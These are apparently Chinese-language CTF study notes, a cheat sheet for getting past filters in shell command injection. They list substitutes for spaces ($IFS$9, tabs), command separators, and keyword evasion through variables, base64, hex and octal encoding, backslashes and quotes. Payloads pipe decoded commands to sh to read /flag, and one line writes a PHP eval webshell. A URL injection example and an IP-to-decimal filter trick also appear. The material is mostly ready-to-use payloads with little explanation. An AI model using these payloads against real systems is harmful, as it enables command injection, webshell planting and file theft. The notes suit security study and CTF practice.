筆記
空格過濾:
在bash下,可以用以下字符代替空格
< 、<>、%20(space)、%09(tab)、$IFS$9、 ${IFS}、$IFS、$IFS$1 等
$IFS在linux下表示分隔符,但是如果單純的cat$IFS2,bash解釋器會把整個IFS2當做變量名,所以導致輸不出來結果,然而如果加一個{}就固定了變量名,同理在后面加個$可以起到截斷的作用,但是為什么要用$9呢,因為$9只是當前系統shell進程的第九個參數的持有者,它始終為空字符串。
命令分隔符
linux中:%0a 、%0d 、; 、& 、| 、&&、||
windows中:%0a、&、|、%1a(一個神奇的角色,作為.bat文件中的命令分隔符)
; 在 shell 中,擔任”連續指令”功能的符號就是”分號”。命令按照順序(從左到右)被執行,並且可以用分號進行分隔。當有一條命令執行失敗時,不會中斷其它命令的執行。
& 簡單拼接 無制約
&& 前面執行成功后面才會執行
| 符號 左邊輸出 作為右邊輸入,所以左邊的輸出並不顯示。當第一條命令失敗時,它仍然會執行第二條命令
|| 前面執行失敗才會執行后面
敏感字符過濾繞過
過濾ls、cat、flag等
- 利用變量繞過
a=l;b=s;$a$b
- 編碼繞過
base
root@kali:~# echo 'cat' | base64
Y2F0Cg==
root@kali:~# `echo 'Y2F0Cg==' | base64 -d` test.txt
hello world!
root@kali:~#
hex:
echo "636174202f666c6167" | xxd -r -p|bash ==>cat /flag
當bash被過濾時考慮使用sh,sh的大部分腳本都可以在bash下運行:
echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
oct :
$(printf "\154\163") ==>ls
$(printf "\x63\x61\x74\x20\x2f\x66\x6c\x61\x67") ==>cat /flag
{printf,"\x63\x61\x74\x20\x2f\x66\x6c\x61\x67"}|\$0 ==>cat /flag
#可以通過這樣來寫webshell,內容為<?php @eval($_POST['c']);?>
${printf,"\74\77\160\150\160\40\100\145\166\141\154\50\44\137\120\117\123\124\133\47\143\47\135\51\73\77\76"} >> 1.php
- 反斜杠
ca\t fl\ag
- 未定義的初始化變量 $x
cat$x flag.txt
- 連接符
ca''t fla''g.txt
-
小技巧
inux下創建文件的命令可以用1>1創建文件名為1的空文件
a>1居然也可以,雖然會報錯,但是還是可以創建空文件。
ls>1可以直接把把ls的內容導入一個文件中,但是會默認追加\n -
ip地址過濾可將ip地址轉化為數字ip地址
IP地址用“點分十進制”表示,用“.”分成4部分;數字地址是一串用“十進制”表示的數字。
比如:百度的IP地址“119.75.218.77”轉換成數字地址就是“2001459789”。在瀏覽器中輸入2001459789就可以訪問百度網站
轉化網址:http://www.msxindl.com/tools/ip/ip_num.asp
${}執行代碼
${phpinfo()};
ca$@t fla$@g
- 內聯執行(內聯,就是將反引號內命令的輸出作為輸入執行):
?ip=127.0.0.1;cat$IFS$9`ls`
